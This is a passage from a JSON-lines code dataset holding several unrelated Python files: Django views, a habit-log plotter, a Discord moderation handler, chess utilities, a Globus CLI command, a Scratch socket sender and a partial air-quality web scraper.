Team.objects.filter(league__name=\"Atlantic Soccer Conference\"),\n\t\t# 2 \"boston_penguin_players\": Player.objects.filter(curr_team__team_name=\"Penguins\")\n\t\t# 3 Player.objects.filter(curr_team__league__name=\"International Collegiate Baseball Conference\"),\n\t\t# 4 Player.objects.filter(last_name=\"Lopez\", curr_team__league__name=\"American Conference of Amateur Football\")\n\t\t# 5 Player.objects.filter(curr_team__league__sport=\"Football\")\n\t\t# 6 Team.objects.filter(curr_players__first_name=\"Sophia\"),\n\t\t# 7 League.objects.filter(teams__curr_players__first_name=\"Sophia\")\n\t\t# 8 Player.objects.filter(last_name=\"Flores\").exclude(curr_team__team_name=\"Roughriders\")\n\t\t# 9 Team.objects.filter(all_players__first_name=\"Samuel\", all_players__last_name=\"Evans\"),\n\t\t# 10. Player.objects.filter(all_teams__location=\"Manitoba\", all_teams__team_name=\"Tiger-Cats\")\n\t\t# 11 Player.objects.filter(all_teams__team_name=\"Vikings\").exclude(curr_team__team_name=\"Vikings\")\n\t\t# 12 Team.objects.exclude(team_name=\"Colts\").filter(all_players__last_name=\"Gray\", all_players__first_name=\"Jacob\"),\n\t\t# 13 Player.objects.filter(all_teams__league__name=\"Atlantic Federation of Amateur Baseball Players\").filter(first_name=\"Joshua\")\n\t\t# 14 Team.objects.annotate(num_players=Count('all_players')).filter(num_players__gte=12),\n\t\t# 15 Player.objects.annotate(num_teams=Count('all_teams')).order_by('num_teams')\n\tcontext = {\n\t\t\"leagues\": League.objects.all(),\n\t\t\"teams\": Team.objects.all(),\n\t\t\"players\": Player.objects.annotate(num_teams=Count('all_teams')).order_by('num_teams')\n\t}\n\treturn render(request, \"leagues/index.html\", context)\n\ndef make_data(request):\n\tteam_maker.gen_leagues(10)\n\tteam_maker.gen_teams(50)\n\tteam_maker.gen_players(200)\n\n\treturn redirect(\"index\")","sub_path":"apps/leagues/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2093,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"408532734","text":"import os\nimport pandas as pd\nimport numpy as np\nimport configparser\nfrom datetime import date, datetime, timedelta\nimport plots\nimport pdf\n\ndef name_from_metadata(metadata):\n \"\"\" Returns habit name given metadata string\n \"\"\"\n return (\n [i for i in metadata if i.startswith('Name:')][0]\n .split(\"Name:\", 1)[1].strip()\n )\n \ndef goal_from_metadata(metadata):\n \"\"\" Returns habit name given metadata string\n \"\"\"\n return (\n [i for i in metadata if i.startswith('Goal:')][0]\n .split(\"Goal:\", 1)[1].strip()\n )\n\ndef date_line_number(log):\n \"\"\" Returns line numbers of dates in log string as a list\n \"\"\"\n line_nums = []\n \n for index, line in enumerate(log):\n if line[0] == '-':\n line_nums.append(index)\n\n return line_nums\n\ndef get_habit_name(df):\n \"\"\" Return the name of the habit for the given dataframe\n \"\"\"\n return df['Name'][0]\n\ndef hhmm_to_mm(time_str):\n \"\"\" Given a hh:mm string returns minutes as integer\n \"\"\"\n h, m = time_str.split(':')\n return int(h) * 60 + int(m)\n\ndef text_after_bullet(s):\n \"\"\" Return string after '- ' in given string\n \"\"\"\n t = s.partition('- ')[2]\n if t.endswith(' '):\n print(f'### Trailing Space at {s}')\n t = t.rstrip()\n return t\n\ndef get_day_of_week(date):\n \"\"\" Return day of week given a date\n \"\"\"\n return date.strftime('%a')\n\ndef get_week_number(date):\n \"\"\" Return week number given a date\n \"\"\"\n return int(date.strftime(\"%U\"))\n\ndef get_year(date):\n \"\"\" Return year given a date\n \"\"\"\n return int(date.strftime(\"%Y\"))\n\ndef get_first_date(df):\n \"\"\" Return first date in dataframe\n \"\"\"\n return df['Date'][0]\n\ndef get_date():\n \"\"\" Return date in yyyymmdd format\n \"\"\"\n return datetime.today().strftime('%Y%m%d')\n\ndef get_yesterday():\n return datetime.now() - timedelta(days=1)\n\ndef md_file_list(dir):\n \"\"\" Returns list with file names of all markdown files\n in the given directory\n \"\"\"\n mdlist = []\n for file in [f for f in os.listdir(dir) if f.endswith('.md')]:\n mdlist.append(file)\n\n return mdlist\n\ndef day_time_total(date_chunk):\n \"\"\" Returns total time in minutes given a date chunk string\n \"\"\"\n total_time = 0\n\n for line in date_chunk[1:]:\n if line[0:4] == ' ':\n total_time += hhmm_to_mm(line.strip()[2:])\n\n return total_time\n\ndef chunk_by_date(log):\n \"\"\" Returns list of date chunks given log string\n \"\"\"\n chunk_start_pos = date_line_number(log)\n # Add last line for last chunk\n chunk_start_pos.append(len(log))\n date_chunks_list = []\n\n for first, second in zip(chunk_start_pos, chunk_start_pos[1:]):\n date_chunks_list.append(log[first:second])\n\n return date_chunks_list\n\ndef get_description_metric(date_chunk):\n \"\"\" Return a list of tuples with the description and metric\n \"\"\"\n time_metric_list = date_chunk[1:]\n description_metric = []\n for description, metric in zip(time_metric_list[0::2],\n time_metric_list[1::2]):\n description_metric.append((text_after_bullet(description),\n hhmm_to_mm(text_after_bullet(metric))))\n \n return description_metric\n\ndef datechunk_to_date(date_chunk):\n return pd.to_datetime(date_chunk[0][2:])\n\ndef log_to_tuple_list(log):\n \"\"\" Return tuple given log strings\n \"\"\"\n tuple_list = []\n \n datechunk_list = chunk_by_date(log)\n\n for date_chunk in datechunk_list:\n date = datechunk_to_date(date_chunk)\n day_of_week = get_day_of_week(date)\n week = get_week_number(date)\n year = get_year(date)\n description_metric = get_description_metric(date_chunk)\n\n for d_m in description_metric:\n\n description = d_m[0]\n metric = d_m[1]\n\n tuple_list.append((date, day_of_week,\n week, year, description, metric))\n \n return tuple_list\n\ndef tuple_list_to_df(tuple_list):\n \"\"\" Return dataframe given list of tuples\n \"\"\"\n df = pd.DataFrame(\n tuple_list, columns = ['Date', 'Day', 'Week',\n 'Year', 'Description', 'Metric']\n )\n \n return df\n\ndef df_from_log(log, metadata):\n \"\"\" Return dataframe for habit given its log and metadata\n \"\"\"\n tuple_list = log_to_tuple_list(log)\n df = tuple_list_to_df(tuple_list)\n df['Name'] = name_from_metadata(metadata)\n df['Goal'] = goal_from_metadata(metadata)\n \n return df\n\ndef metadata_from_lines(lines):\n \"\"\" Return metadata string given lines of a markdown file\n \"\"\"\n i = lines.index(\"# Log\")\n metadata = lines[:i]\n return metadata\n\ndef log_from_lines(lines):\n \"\"\" Return log string given lines of a markdown files\n \"\"\"\n i = lines.index(\"# Log\")\n log = [x for x in lines[i+1:] if x]\n return log\n\ndef get_df_list(filelist, dir):\n \"\"\" Return list of dataframes with the dataframe for\n each file from the filelist\n \"\"\"\n df_list = []\n\n for file in filelist:\n with open(dir+file, encoding='UTF-8') as f:\n lines = [line.rstrip('\\n') for line in f]\n \n metadata = metadata_from_lines(lines)\n log = log_from_lines(lines)\n \n if log:\n df_list.append(df_from_log(log, metadata)) \n\n return df_list\n\ndef get_plot_list(df_list, color, color_low, color_high,\n color_heatmap_border, font, save_dir):\n \"\"\" Return list with tuple of form\n (habit_name, goal, plots_file_paths)\n \"\"\"\n plotslist = []\n for df in df_list:\n plotslist.append(\n (\n get_habit_name(df),\n df['Goal'][0],\n create_plots(df, color, color_low, color_high,\n color_heatmap_border, font, save_dir)\n )\n )\n return plotslist\n\ndef metric_date_sum(df):\n \"\"\" Return dataframe with sum of metric by day\n \"\"\"\n return df.groupby(['Name', 'Date', 'Day', 'Week'])['Metric'].sum().reset_index()\n\ndef filter_zero_metric(df):\n \"\"\" Return dataframe without observations with a metric value of 0\n \"\"\"\n return df[df['Metric'] != 0]\n\ndef metric_sum_df(df):\n \"\"\" Return dataframe with sum of metric by day\n \"\"\"\n sums_series = df.groupby(['Description'])['Metric'].sum()\n df_sums = pd.DataFrame({'Desc': sums_series.index,\n 'Sum': sums_series.values})\n return df_sums\n\ndef add_zeros_before(df, date):\n \"\"\" Add empty observations to the dataframe from the Sunday\n of the week before the first date up to the first date\n \"\"\"\n tuple_list = []\n\n start_date = date\n end_date = df['Date'][0]\n\n habitname = get_habit_name(df)\n description = ''\n metric = 0\n\n daterange = pd.date_range(start_date, end_date - timedelta(days=1))\n\n for date in daterange:\n day_of_week = get_day_of_week(date)\n week = get_week_number(date)\n year = get_year(date)\n\n tuple_list.append((habitname, date, day_of_week, week,\n year, description, metric))\n\n df2 = pd.DataFrame(tuple_list)\n df2.columns = ['Name', 'Date', 'Day', 'Week', 'Year', 'Description',\n 'Metric']\n\n df3 = pd.concat([df2, df], ignore_index=True)\n\n return df3\n\ndef fill_dates(df, date_range):\n \"\"\" Fill dates in the date_range\n \"\"\"\n df.set_index('Date', inplace=True)\n df.index = pd.to_datetime(df.index)\n df['existing_date'] = 1\n df = df.reindex(date_range, fill_value = 0)\n df.reset_index(inplace=True)\n df.rename(columns={'index':'Date'}, inplace=True)\n \n return df\n\ndef fill_nonexisting_name(df):\n df.loc[df['existing_date'] == 0, 'Name'] = get_habit_name(df)\n return df\n\ndef fill_nonexisting_day(df):\n return np.where(df['existing_date'] == 0,\n df['Date'].apply(get_day_of_week),\n df['Day'])\n\ndef fill_nonexisting_week(df):\n return np.where(df['existing_date'] == 0,\n df['Date'].apply(get_week_number),\n df['Week'])\n\ndef fill_nonexisting_year(df):\n return np.where(df['existing_date'] == 0,\n df['Date'].apply(get_year),\n df['Year'])\n\ndef fill_nonexisting_description(df):\n return np.where(df['existing_date'] == 0, '', df['Description'])\n\ndef fill_nonexisting_columns(df):\n \"\"\" Fill the day name, week, year, and description for dataframes\n with newly added dates\n \"\"\"\n df = fill_nonexisting_name(df)\n df['Day'] = fill_nonexisting_day(df)\n df['Week'] = fill_nonexisting_week(df)\n df['Year'] = fill_nonexisting_year(df)\n df['Description'] = fill_nonexisting_description(df)\n \n return df\n\ndef add_zeros_between(df):\n \"\"\" Add dates with metric as 0 for any missing dates in the dataframe\n \"\"\"\n date_range = pd.date_range(get_first_date(df), get_yesterday())\n df = fill_dates(df, date_range)\n df = fill_nonexisting_columns(df)\n df.drop('existing_date', axis = 1, inplace = True)\n \n return df\n\ndef insert_missing_dates(df):\n \"\"\" Adds 2 weeks of data before the first date and adds any missing dates\n to the dataframe\n \"\"\"\n first_date = get_first_date(df)\n start_sunday = first_date - timedelta(days=(first_date.weekday() - 6) % 7, weeks=1)\n df = add_zeros_before(df, start_sunday)\n df = add_zeros_between(df)\n\n return df\n\ndef get_complete_date_sums(df):\n \"\"\" Return dataframe with missing dates inserted and sums of the metric\n for each date\n \"\"\"\n df_date_sums = metric_date_sum(df)\n df_complete_date_sums = insert_missing_dates(df_date_sums)\n order = ['Sat', 'Fri', 'Thu', 'Wed', 'Tue', 'Mon', 'Sun']\n df_complete_date_sums['Day'] = pd.Categorical(df_complete_date_sums['Day'],\n categories = order)\n \n return df_complete_date_sums\n\ndef week_sum_df(df):\n \"\"\" Return dataframe with sum of metric per week\n \"\"\"\n df['Metric'] = df['Metric'].clip(upper = 1)\n \n df.set_index('Date', inplace=True)\n df.index = pd.to_datetime(df.index)\n week_sums_series = df.resample('W-SUN',\n closed = 'left',\n label='left')['Metric'].sum()\n df_week_sums = pd.DataFrame({'Week': week_sums_series.index,\n 'Days': week_sums_series.values})\n df_week_sums['Name'] = get_habit_name(df)\n \n return df_week_sums\n\ndef day_mean_df(df):\n \"\"\" Returns dataframe with the mean metric by day\n \"\"\"\n sum_by_day = metric_date_sum(filter_zero_metric(df))\n mean_by_day = sum_by_day.groupby(['Day'])['Metric'].mean()\n df2 = pd.DataFrame({'Day' : mean_by_day.index,\n 'Mean Time' : mean_by_day.values})\n order = ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat']\n df2['Day of Week'] = pd.Categorical(df2['Day'],\n categories = order,\n ordered = True)\n df2['Name'] = get_habit_name(df)\n return df2\n\ndef description_sum_df(df):\n df_sums = metric_sum_df(df)\n df_sums['Sum'] = df_sums['Sum'] / 60\n df_sums.columns = ['Desc', 'Hours']\n \n df_sums['Desc'] = df_sums['Desc'].str.wrap(8)\n\n order = df_sums.sort_values(by = ['Hours'])['Desc']\n df_sums['Description'] = pd.Categorical(df_sums['Desc'],\n categories=order,\n ordered=True)\n df_sums['Name'] = get_habit_name(df)\n \n return df_sums\n\ndef create_plots(df, color, color_low, color_high, color_heatmap_border,\n font, save_dir):\n \"\"\" Create each plot and return list with file paths\n \"\"\"\n plotlist = []\n\n df_complete_date_sums = get_complete_date_sums(df)\n habit_name = get_habit_name(df_complete_date_sums)\n plotlist.append(plots.create_heatmap(df_complete_date_sums, habit_name, color_low,\n color_high, color_heatmap_border,\n font, save_dir))\n \n df_week_sums = week_sum_df(df_complete_date_sums)\n df_day_means = day_mean_df(df)\n df_description_sums = description_sum_df(df)\n\n plotlist.append(plots.create_completion_num_graph(df_week_sums, habit_name, color,\n font, save_dir))\n plotlist.append(plots.create_bar_metric_mean(df_day_means, habit_name, color, font, save_dir))\n plotlist.append(plots.create_bar_metric_sum(df_description_sums, habit_name, color, font, save_dir))\n\n return plotlist\n \ndef delete_files(file_list):\n \"\"\" Deletes files in file_list\n \"\"\"\n for file in file_list:\n try:\n os.remove(file)\n except OSError as e:\n print(\"Error: %s - %s.\" % (e.filename, e.strerror))\n\ndef main():\n \"\"\"Create DataFrame from markdown files, split dataframes\n by habit name, create plots, and add plots to PDF\n \"\"\"\n config = configparser.ConfigParser()\n config.read('config.ini')\n \n # Directories need to exist\n habit_dir = config.get('Directories', 'md_dir')\n save_dir = config.get('Directories', 'pdf_save_dir')\n color_heatmap_border = config.get('Plots', 'color_heatmap_border')\n color_low = config.get('Plots', 'color_low')\n color_high = config.get('Plots', 'color_high')\n color = config.get('Plots', 'color')\n font = config.get('Plots', 'font')\n\n habitlist = md_file_list(habit_dir)\n\n df_list = get_df_list(habitlist, habit_dir)\n\n plotslist = get_plot_list(df_list, color, color_low, color_high,\n color_heatmap_border, font, save_dir)\n\n pdf.create_pdf(plotslist, save_dir, get_date())\n\n delete_lists = [x[2] for x in plotslist]\n for delete_list in delete_lists:\n delete_files(delete_list)\n \n\nif __name__ == '__main__':\n main()","sub_path":"habitext.py","file_name":"habitext.py","file_ext":"py","file_size_in_byte":13924,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"649945039","text":"import logging\n\nimport discord\n\nfrom modis import datatools\nfrom modis.discord_modis.modules.manager import _data\nfrom . import api_manager\nfrom . import ui_embed\nfrom ..._client import client\n\nlogger = logging.getLogger(__name__)\n\n\nasync def on_message(message):\n \"\"\"The on_message event handler for this module\n\n Args:\n message (discord.Message): Input message\n \"\"\"\n\n # Simplify message info\n server = message.server\n author = message.author\n channel = message.channel\n content = message.content\n\n data = datatools.get_data()\n\n # Only reply to server messages and don't reply to myself\n if server is not None and author != channel.server.me:\n prefix = data[\"discord\"][\"servers\"][server.id][\"prefix\"]\n # Check for mentions reply to mentions\n if channel.server.me in message.mentions:\n await client.send_typing(channel)\n response = \"The current server prefix is `{0}`. Type `{0}help` for help.\".format(prefix)\n await client.send_message(channel, response)\n\n # Commands section\n if content.startswith(prefix):\n # Parse message\n package = content.split(\" \")\n command = package[0][len(prefix):]\n args = package[1:]\n arg = ' '.join(args)\n\n # Commands\n if command not in [\"prefix\", \"activate\", \"deactivate\", \"warnmax\", \"warn\", \"ban\"]:\n return\n\n is_admin = author == server.owner\n for role in message.author.roles:\n if role.permissions.administrator:\n is_admin = True\n\n if not is_admin:\n await client.send_typing(channel)\n reason = \"You must have a role that has the permission 'Administrator'\"\n embed = ui_embed.error(channel, \"Insufficient Permissions\", reason)\n await embed.send()\n return\n\n if command == \"prefix\" and args:\n new_prefix = arg.replace(\" \", \"\").strip()\n data[\"discord\"][\"servers\"][server.id][\"prefix\"] = new_prefix\n # Write the data\n datatools.write_data(data)\n\n await client.send_typing(channel)\n embed = ui_embed.modify_prefix(channel, new_prefix)\n await embed.send()\n\n if command == \"warnmax\" and args:\n try:\n warn_max = int(arg)\n if warn_max > 0:\n data[\"discord\"][\"servers\"][server.id][_data.modulename][\"warnings_max\"] = warn_max\n datatools.write_data(data)\n await client.send_typing(channel)\n embed = ui_embed.warning_max_changed(channel, warn_max)\n await embed.send()\n else:\n reason = \"Maximum warnings must be greater than 0\"\n embed = ui_embed.error(channel, \"Error\", reason)\n await embed.send()\n except (ValueError, TypeError):\n reason = \"Warning maximum must be a number\"\n embed = ui_embed.error(channel, \"Error\", reason)\n await embed.send()\n except Exception as e:\n logger.exception(e)\n\n if command == \"warn\" and args:\n for user in message.mentions:\n await api_manager.warn_user(channel, user)\n\n if command == \"ban\" and args:\n for user in message.mentions:\n await api_manager.ban_user(channel, user)\n\n if command == \"activate\" and args:\n await api_manager.activate_module(channel, arg, True)\n elif command == \"deactivate\" and args:\n await api_manager.activate_module(channel, arg, False)\n","sub_path":"venv/Lib/site-packages/modis/discord_modis/modules/manager/on_message.py","file_name":"on_message.py","file_ext":"py","file_size_in_byte":3883,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"358518202","text":"\r\n# 백준 1748번\r\n\r\nn = int(input())\r\n\r\nl = len(str(n))\r\nnine = 9\r\nten = 0\r\nresult = 0\r\nfor i in range(1, l):\r\n result += i * (nine - ten + 1)\r\n nine = int(str(nine) + \"9\")\r\n if ten == 0:\r\n ten = 10\r\n else:\r\n ten *= 10\r\nresult += l * (n - ten + 1) - 1\r\nprint(result)","sub_path":"20190924_BJ1748.py","file_name":"20190924_BJ1748.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"182617351","text":"#!/usr/bin/env python\nimport string\nimport collections\nimport random\nimport pandas\n\ntemplate = open('template.txt').read()\n\n# create a set of all keywords in the template\n# https://docs.python.org/3/library/string.html#string.Formatter.parse\nkeywords_in_template = set()\nfor parsed in string.Formatter().parse(template):\n keyword = parsed[1]\n if keyword is None:\n continue\n keywords_in_template.add(keyword)\n\n# create a mapping of types to nonce words\nnonce_words = pandas.read_csv('nonce.csv')\nnonce_words_by_type = collections.defaultdict(list)\nfor row in nonce_words.itertuples():\n nonce_words_by_type[row.type].append(row.nonce)\n\n# create a mapping of keywords to types\nkeywords = pandas.read_csv('keywords.csv')\nkeyword_types = keywords.set_index('keyword')['type'].to_dict()\n\n# assign nonce words for each keyword\nkeywords_to_nonce = {}\nfor keyword in keywords_in_template:\n keyword_type = keyword_types[keyword]\n available_nonce_words = nonce_words_by_type[keyword_type]\n nonce = random.choice(available_nonce_words)\n keywords_to_nonce[keyword] = nonce\n available_nonce_words.remove(nonce)\n\nprint(template.format(**keywords_to_nonce))\n","sub_path":"generate_txt.py","file_name":"generate_txt.py","file_ext":"py","file_size_in_byte":1176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"114911458","text":"# Utilities.py\n# Contains utility methods for python-chess\n# Created on: 12/23/2015\n# Created by: Andrew Davis\n# Open source (MIT license)\n\ncoord_list = [ # the list that associates x-coordinates with files\n 'A', # a-file\n 'B', # b-file\n 'C', # c-file\n 'D', # d-file\n 'E', # e-file\n 'F', # f-file\n 'G', # g-file\n 'H' # h-file\n]\n\npiece_list = [ # the list that associates piece ids with piece icons\n 'K', # white king (ID 0)\n 'k', # black king (ID 1)\n 'Q', # white queen (ID 2)\n 'q', # black queen (ID 3)\n 'N', # white knight (ID 4)\n 'n', # black knight (ID 5)\n 'B', # white bishop (ID 6)\n 'b', # black bishop (ID 7)\n 'R', # white rook (ID 8)\n 'r', # black rook (ID 9)\n 'P', # white pawn (ID 10)\n 'p' # black pawn (ID 11)\n]\n\npiece_names = [ # the list that associates piece ids with piece names\n \"King\", # white king (ID 0)\n 'king', # black king (ID 1)\n 'Queen', # white queen (ID 2)\n 'queen', # black queen (ID 3)\n 'Knight', # white knight (ID 4)\n 'knight', # black knight (ID 5)\n 'Bishop', # white bishop (ID 6)\n 'bishop', # black bishop (ID 7)\n 'Rook', # white rook (ID 8)\n 'rook', # black rook (ID 9)\n 'Pawn', # white pawn (ID 10)\n 'pawn' # black pawn (ID 11)\n]\n\npiece_values = [\n float(\"inf\"), # white king (ID 0, infinite value)\n float(\"inf\"), # black king (ID 1, infinite value)\n 9, # white queen (ID 2, value 9)\n 9, # black queen (ID 3, value 9)\n 5, # white knight (ID 4, value 5)\n 5, # black knight (ID 5, value 5)\n 5, # white bishop (ID 6, value 5)\n 5, # black bishop (ID 7, value 5)\n 7, # white rook (ID 8, value 7)\n 7, # black rook (ID 9, value 7)\n 1, # white pawn (ID 10, value 1)\n 1 # black pawn (ID 11, value 1)\n]\n\ndef get_file_from_coord(x):\n return coord_list[x] #return the file corresponding to the input\n\ndef get_icon_from_id(p_id):\n return piece_list[p_id] #return the icon corresponding to the input\n\ndef get_worth_from_id(p_id):\n return piece_values[p_id] #return the value corresponding to the input\n\ndef get_name_from_id(p_id):\n return piece_names[p_id]\n","sub_path":"src/Utilities.py","file_name":"Utilities.py","file_ext":"py","file_size_in_byte":2123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"520025801","text":"from globus_cli.login_manager import LoginManager\nfrom globus_cli.parsing import command, endpoint_id_arg\nfrom globus_cli.services.transfer import assemble_generic_doc\nfrom globus_cli.termio import FORMAT_TEXT_RAW, formatted_print\n\nfrom ._common import server_add_and_update_opts, server_id_arg\n\n\n@command(\n \"update\",\n short_help=\"Update an endpoint server\",\n adoc_examples=\"\"\"Change an existing server's scheme to use ftp:\n\n[source,bash]\n----\n$ ep_id=ddb59aef-6d04-11e5-ba46-22000b92c6ec\n$ server_id=294682\n$ globus endpoint server update $ep_id $server_id --scheme ftp\n----\n\"\"\",\n)\n@server_add_and_update_opts\n@endpoint_id_arg\n@server_id_arg\n@LoginManager.requires_login(LoginManager.TRANSFER_RS)\ndef server_update(\n *,\n login_manager: LoginManager,\n endpoint_id,\n server_id,\n subject,\n port,\n scheme,\n hostname,\n incoming_data_ports,\n outgoing_data_ports,\n):\n \"\"\"\n Update the attributes of a server on an endpoint.\n\n At least one field must be updated.\n \"\"\"\n transfer_client = login_manager.get_transfer_client()\n\n server_doc = assemble_generic_doc(\n \"server\", subject=subject, port=port, scheme=scheme, hostname=hostname\n )\n\n # n.b. must be done after assemble_generic_doc(), as that function filters\n # out `None`s, which we need to be able to set for `'unspecified'`\n if incoming_data_ports:\n server_doc.update(\n incoming_data_port_start=incoming_data_ports[0],\n incoming_data_port_end=incoming_data_ports[1],\n )\n if outgoing_data_ports:\n server_doc.update(\n outgoing_data_port_start=outgoing_data_ports[0],\n outgoing_data_port_end=outgoing_data_ports[1],\n )\n\n res = transfer_client.update_endpoint_server(endpoint_id, server_id, server_doc)\n formatted_print(res, text_format=FORMAT_TEXT_RAW, response_key=\"message\")\n","sub_path":"src/globus_cli/commands/endpoint/server/update.py","file_name":"update.py","file_ext":"py","file_size_in_byte":1879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"350969988","text":"import csv\nfrom django.http import HttpResponse\nfrom some_app.models import SomeModel\n\n\ndef csv_view(self, request):\n response = HttpResponse(content_type='text/csv')\n response['Content-Disposition'] = 'attachment; filename=\"filename.csv\"'\n\n writer = csv.writer(response)\n\n csv_header = [i.name for i in SomeModel.objects.all().first()._meta.fields]\n writer.writerow(csv_header)\n\n for csv_data in SomeModel.objects.filter(is_active=True).values_list():\n writer.writerow([unicode(data if data else '').encode(\"utf-8\")\n for data in csv_data])\n\n return response\n","sub_path":"django/views/csv.py","file_name":"csv.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"529019461","text":"# Sends data to Scratch;\n# default host is localhost, put an empty message to quit\nfrom array import array\nimport socket\nimport time\nimport sys\n\nfrom Tkinter import Tk\nfrom tkSimpleDialog import askstring\nroot = Tk()\nroot.withdraw()\n\nPORT = 42001\nHOST = askstring('Scratch Connector', 'IP:')\nif not HOST: HOST = 'localhost'\n\nprint(\"connecting...\")\nscratchSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nscratchSock.connect((HOST, PORT))\nprint(\"connected\")\n\ndef sendScratchCommand(cmd):\n n = len(cmd)\n a = array('c')\n a.append(chr((n >> 24) & 0xFF))\n a.append(chr((n >> 16) & 0xFF))\n a.append(chr((n >> 8) & 0xFF))\n a.append(chr(n & 0xFF))\n scratchSock.send(a.tostring() + cmd)\n\nwhile True:\n msg = askstring('Scratch Connector', 'Send Broadcast:')\n if not msg: break\n sendScratchCommand('broadcast \"' + msg + '\"')\n\nprint(\"closing socket...\")\nscratchSock.close()\nprint(\"done\")\nsys.exit()\n","sub_path":"talk_to_scratch.py","file_name":"talk_to_scratch.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"483835768","text":"\"\"\"\n 作者：jamke\n 功能：获取空气质量指数AQI\n 日期：2019.7.20\n\n 学到的点（踩过的坑）：\n 1.程序运行的时间：\n 程序执行时间=cpu时间 + io时间 + 休眠或者等待时间\n import datetime，datetime.datetime.now()和import time，time.time()测的时间包含了其他程序使用CPU的时间（程序执行时间）\n import time，time.clock()测的是该程序使用CPU的时间（程序运行时间）\n https://blog.csdn.net/wangshuang1631/article/details/54286551\n\n from timeit import timeit，timtit()经常用来测某个语句多次执行的时间（取平均，去误差）\n from timeit import repeat，repeat()通过重复测，取最小时间作为运行时间\n https://www.cnblogs.com/PrettyTom/p/6657984.html\n 2.网页访问过于频繁：\n 暂时解决办法：\n 1.设置requests的timeout\n 2.访问一个网页，休眠0.1秒\n\n\"\"\"\nimport requests\nfrom bs4 import BeautifulSoup\nimport pandas\nimport matplotlib.pyplot as plt\nimport time\n# from timeit import repeat\n# from timeit import timeit\n\nprint('...模块加载完毕')\n# 解决中文和负数显示问题\nplt.rcParams['font.sans-serif'] = ['SimHei']\nplt.rcParams['axes.unicode_minus'] = False\n\n\n# 根据PM2.5和CO的浓度计算AQI\n# 1.实现两种污染物对应的IAQI（IAQI：空气质量分指数）\n# 1个输入参数，即cp\n# 2.实现线性缩放函数\n# 5个输入参数\n# def get_html_text(url):\n# \"\"\"\n# 获取url的文本\n# \"\"\"\n# r = requests.get(url, timeout=30)\n# # print(r.status_code)\n# return r.text\n#\n#\n# def cal_linear(iaqi_lo, iaqi_hi, bp_lo, bp_hi, cp):\n# \"\"\"\n# 范围缩放\n# \"\"\"\n# iaqi = (iaqi_hi - iaqi_lo) * (cp - bp_lo) / (bp_hi - bp_lo) + iaqi_lo\n# return iaqi\n#\n#\n# def cal_pm_iaqi(pm_val):\n# \"\"\"\n# 计算pm2.5的IAQI\n# \"\"\"\n# iaqi = 0\n# if 0 <= pm_val < 36:\n# iaqi = cal_linear(0, 50, 0, 35, pm_val)\n# elif 36 <= pm_val < 76:\n# iaqi = cal_linear(50, 100, 35, 75, pm_val)\n# elif 76 <= pm_val < 116:\n# iaqi = cal_linear(100, 150, 75, 115, pm_val)\n# elif 116 <= pm_val < 151:\n# iaqi = cal_linear(150, 200, 115, 150, pm_val)\n# elif 151 <= pm_val < 251:\n# iaqi = cal_linear(200, 300, 150, 250, pm_val)\n# elif 251 <= pm_val < 351:\n# iaqi = cal_linear(300, 400, 250, 350, pm_val)\n# elif 351 <= pm_val < 501:\n# iaqi = cal_linear(400, 500, 350, 500, pm_val)\n# return iaqi\n#\n#\n# def cal_co_iaqi(co_val):\n# \"\"\"\n# 计算CO的IAQI，24小时的CO浓度\n# \"\"\"\n# iaqi = 0\n# if 0 <= co_val < 3:\n# iaqi = cal_linear(0, 50, 0, 2, co_val)\n# elif 3 <= co_val < 5:\n# iaqi = cal_linear(50, 100, 2, 4, co_val)\n# elif 5 <= co_val < 15:\n# iaqi = cal_linear(100, 150, 4, 14, co_val)\n# elif 15 <= co_val < 25:\n# iaqi = cal_linear(150, 200, 14, 24, co_val)\n# elif 25 <= co_val < 37:\n# iaqi = cal_linear(200, 300, 24, 36, co_val)\n# elif 37 <= co_val < 49:\n# iaqi = cal_linear(300, 400, 36, 48, co_val)\n# elif 49 <= co_val < 61:\n# iaqi = cal_linear(400, 500, 48, 60, co_val)\n# return iaqi\n#\n#\n# def cal_aqi(param_list):\n# \"\"\"\n# 计算AQI\n# \"\"\"\n# pm_val = param_list[0]\n# co_val = param_list[1]\n#\n# pm_iaqi = cal_pm_iaqi(pm_val)\n# co_iaqi = cal_co_iaqi(co_val)\n#\n# iaqi_list = [pm_iaqi, co_iaqi]\n#\n# aqi = max(iaqi_list)\n#\n# return aqi\n#\n#\n# def main():\n# \"\"\"\n# 主函数\n# \"\"\"\n# print('请输入以下信息，用空格分割')\n# input_str = input('(1)PM2.5 (2)CO:')\n# str_list = input_str.split(' ')\n# pm_val = float(str_list[0])\n# co_val = float(str_list[1])\n#\n# param_list = [pm_val, co_val]\n#\n# # 调用AQI计算函数\n# aqi = cal_aqi(param_list)\n#\n# print('空气质量指数为：{}'.format(aqi))\ndef get_url(city=''):\n \"\"\"\n 获取所有城市的URL\n \"\"\"\n url = 'http://www.pm25.com/rank.html'\n r = requests.get(url)\n soup = BeautifulSoup(r.text, 'lxml')\n ul = soup.find('ul', class_='pj_area_data_details rrank_box')\n ali = ul.find_all('a')\n city_name = []\n for i in ali:\n city_name.append(i.text)\n url_li = []\n for i in city_name:\n url_li.append('http://www.pm25.com/city/' + i + '.html')\n if city == '':\n print('...网页URL获取完毕')\n return url_li\n else:\n if city in city_name:\n print('...网页URL获取完毕')\n return 'http://www.pm25.com/city/' + city + '.html'\n\n\ndef get_info(url='http://www.pm25.com/city/guangzhou.html'):\n \"\"\"\n 获取一个城市的信息：名字、AQI和pm2.5\n \"\"\"\n r = requests.get(url, 